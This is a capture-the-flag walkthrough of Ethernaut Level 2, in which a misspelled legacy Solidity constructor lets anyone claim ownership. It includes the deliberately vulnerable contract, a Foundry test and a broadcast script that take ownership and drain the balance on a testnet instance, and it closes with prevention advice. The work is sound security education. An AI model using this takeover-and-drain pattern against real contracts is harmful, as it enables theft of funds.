Ethernaut Level 2 Walkthrough: Exploiting a Misnamed Constructor in Solidity
In this article, we will analyze and solve Ethernaut Level 2: Fallout.
This level looks like a typo, but it teaches a lesson that has cost real protocols real money: a constructor that does not match the contract name is not a constructor at all, it is a public function anyone can call.
Besides solving the challenge, we will also understand:
- How old-style Solidity constructors worked before the
constructorkeyword - Why a misspelled constructor function becomes a public backdoor
- How to validate the exploit using Foundry and Sepolia
- How to defend against it properly
If you are a developer, this article will help you understand why modern Solidity forces you to use the constructor keyword instead of relying on naming conventions.
If you are interested in smart contract security, this challenge is a direct line to a real-world incident: the Rubixi hack.
Challenge Description
The contract tracks ETH allocations per address and has an owner.
Only the owner can collect the full balance of the contract through collectAllocations().
The goal of the challenge is:
Claim ownership of the contract.
Vulnerability Classification
| Category | Value |
|---|---|
| Vulnerability: | Misnamed constructor (legacy naming convention) |
| Root Cause: | The intended constructor function name does not match the contract name |
| Impact: | Full ownership takeover and loss of all funds |
| Severity: | Critical |
| Attack Type: | Public function impersonating a constructor |
Vulnerable Contract Analysis
This is the vulnerable contract used in the challenge:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
Root Cause of the Vulnerability
Look closely at the function meant to act as the constructor:
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
The contract is called Fallout, spelled with a lowercase l. The function is called Fal1out, with the digit 1 instead of the letter l. It is a single character off.
Before Solidity 0.4.22, the language did not have a constructor keyword. A function only ran once, automatically, at deployment, if its name matched the contract name exactly. Any mismatch, even a single character, meant the function was no longer special. It became a normal public function, callable by anyone, at any time, as many times as they wanted.
Here the pragma is ^0.6.0, which requires the constructor keyword for real constructors. So Fal1out() was never going to run at deployment either way. It is simply a public payable function that sets owner = msg.sender.
This violates one of the most basic security principles in Solidity:
Code that is supposed to run exactly once, with special privileges, must be enforced by the compiler, not by a naming convention a developer has to get right by hand.
Understanding Misnamed Constructors
This bug class follows a simple pattern:
- The developer intends to write a constructor using the legacy name-matching convention.
- The function name does not exactly match the contract name, due to a typo, a rename, or a refactor.
- The compiler does not treat the function as a constructor, because the names differ.
- The function remains public and callable by anyone, forever.
- Anyone can call it to claim privileges that were meant to be set once during deployment.
The flow looks like this:
deploy Fallout
└── constructor never actually runs (name mismatch)
└── Fal1out() sits exposed as a normal public function
└── attacker calls Fal1out()
└── attacker becomes owner
└── attacker calls collectAllocations()
This exact bug pattern caused a real incident in Ethereum's early history: the Rubixi contract. It was originally named DynamicPyramid, and its constructor was named to match. When the developer renamed the contract to Rubixi, they forgot to rename the constructor function. The old constructor became a public function that let anyone claim ownership and redirect fee payments to themselves.
Why Legacy Constructor Naming Is Dangerous
Relying on a name match to define privileged, one-time-only logic puts the security of the entire contract in the hands of a manual convention.
That convention breaks silently in common situations:
- Renaming the contract during development, without updating the constructor name.
- Copy-pasting a contract as a template and forgetting to rename the constructor.
- A simple typo, as in this challenge, where
lbecomes1.
None of these mistakes produce a compiler error under old Solidity versions. The contract deploys successfully. It looks correct. The only sign something is wrong is that the "constructor" is still listed as a normal function in the ABI, callable after deployment.
Solidity 0.4.22 introduced the constructor keyword specifically to close this class of bug. A function declared with constructor cannot be called again after deployment, and there is no name to misspell.
Attack Strategy
Now that we understand the vulnerability, we can design the exploit.
We know that:
Fal1out()is a public payable function, not a real constructor.- Anyone can call it at any time after deployment.
- Calling it sets
owner = msg.senderfor whoever calls it. collectAllocations()sends the entire contract balance to the current owner.
Therefore, our strategy will be:
- Call
Fal1out()directly from our own wallet to become the owner. - Call
collectAllocations()directly to drain the contract balance.
How the Exploit Works
The attack is direct and requires no ETH, no timing, no recursion, and no intermediary contract.
First:
- We call
Fal1out()on the target directly from our wallet. - Since the function name does not match the contract name and the pragma requires the
constructorkeyword, this is treated as a plain function call. - The target sets
owner = msg.sender, which is now our own address.
Then:
- We call
collectAllocations()directly. - The
onlyOwnermodifier checksmsg.sender == owner, which now passes. - The target transfers its entire balance to our wallet.
Validating the Exploit with Foundry
After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.
// SPDX-License-Identifier: MIT
// Fallout_L2.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {DummyFactory} from "src/levels/DummyFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
interface Fallout {
function Fal1out() external payable;
function collectAllocations() external;
function owner() external view returns (address);
}
contract TestFallout_L2 is Test, Utils {
Ethernaut ethernaut;
Fallout instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
DummyFactory factory = DummyFactory(getOldFactory("FalloutFactory"));
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = Fallout(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
vm.stopPrank();
}
function testInit() public {
vm.startPrank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
// No attacker contract: the player calls the misnamed
// "constructor" directly, then drains the balance directly.
instance.Fal1out();
instance.collectAllocations();
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Running the Test
To execute the exploit test on a Sepolia fork, run:
forge test --mp Fallout_L2.t.sol --mt testSolve --fork-url $SEPOLIA_RPC -vvv
You must configure the SEPOLIA_RPC variable inside your .env file.
If the terminal does not recognize the variable, run:
source .env
Once executed, we can verify that our own test address became the owner and that the contract's balance was moved to it.
Solving the Level on Sepolia
Now we will create a script to execute the exploit directly against the Ethernaut instance. There is no attacker contract to deploy: the script broadcasts two calls straight from our own account.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
interface Fallout {
function Fal1out() external payable;
function collectAllocations() external;
function owner() external view returns (address);
}
contract FalloutScript is Script {
Fallout public target;
function setUp() public {
target = Fallout(payable("0xYourEthernautInstance"));
}
function run() public {
vm.startBroadcast();
target.Fal1out();
target.collectAllocations();
console.log("New owner:", target.owner());
console.log("Target balance:", address(target).balance);
vm.stopBroadcast();
}
}
Running the Script
First, execute the script locally:
forge script scripts/Fallout.s.sol --rpc-url $SEPOLIA_RPC
If everything works correctly, broadcast it to Sepolia:
forge script scripts/Fallout.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv
Once the exploit finishes, our own broadcasting account is the owner of the vulnerable contract and the level is solved. You just need to submit the instance on the Ethernaut website.
How to Prevent This Vulnerability
The core defense is to never rely on a naming convention for privileged, one-time logic.
Use the constructor keyword
Since Solidity 0.4.22, constructors must be declared with the constructor keyword. There is no name to misspell, and the compiler enforces that the logic runs exactly once, at deployment:
constructor() payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
Treat legacy contracts as high risk
Any contract still written against Solidity versions older than 0.4.22, or copied from an old template, should be reviewed specifically for name-matching constructors. This is a cheap, high-value check during an audit.
Add explicit initialization guards where relevant
For upgradeable contracts using initialize() patterns instead of constructors, always pair them with an initializer modifier, such as the one from OpenZeppelin's Initializable, to prevent the initialization function from being called more than once.
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract Secure is Initializable {
function initialize() external initializer {
// runs once, enforced by the compiler-backed guard
}
}
Lessons Learned
This challenge shows that a single character can be the entire difference between a secure contract and an open takeover.
Key lessons from this level:
- Never rely on naming conventions to define privileged, one-time logic.
- Always use the
constructorkeyword, never a function that merely matches the contract's name. - Review legacy or copy-pasted contracts specifically for this pattern.
- Treat any function that sets
owner, roles, or critical state as high-risk during review. - Real incidents, like the Rubixi hack, prove this is not a theoretical bug class.
- If a "protected" function can be called with a plain transaction from your own wallet, the protection does not exist, no matter how clever an exploit contract you could build around it.
Conclusion
In this challenge, we exploited a misnamed constructor that never ran automatically, leaving it exposed as a public function anyone could call to claim ownership.
We called the fake constructor directly from our own wallet to become the owner, then drained the contract through the now-accessible collectAllocations() function. No attacker contract was needed at any point, because the vulnerable function never checked who was calling it.
This level is an excellent introduction to:
- Legacy Solidity constructor conventions
- Silent, compiler-invisible naming bugs
- Real-world incidents caused by simple typos
- Recognizing when a "protected" function has no protection at all
- Secure initialization patterns
- Real-world exploit methodology
You can find more Web3 security content on our blog.